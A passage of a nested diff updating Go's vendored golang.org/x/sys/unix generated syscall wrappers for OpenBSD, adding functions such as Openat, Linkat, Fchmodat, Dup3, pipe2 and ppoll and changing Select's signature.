- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -571,6 +649,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -602,6 +695,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -712,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -815,6 +934,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -855,6 +994,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -870,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -885,6 +1054,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -911,6 +1095,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1000,6 +1200,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1020,6 +1242,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1061,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1186,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1267,6 +1520,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1315,6 +1588,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
-index 0d69ce6b..67f93ee7 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go
-+// go run mksyscall.go -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build openbsd,amd64
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,7 +360,7 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -393,6 +377,60 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -524,6 +562,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -531,6 +579,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -561,6 +624,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -571,6 +649,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -602,6 +695,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -712,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -815,6 +934,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -855,6 +994,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -870,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -885,6 +1054,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -911,6 +1095,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1000,6 +1200,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1020,6 +1242,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1061,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1186,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
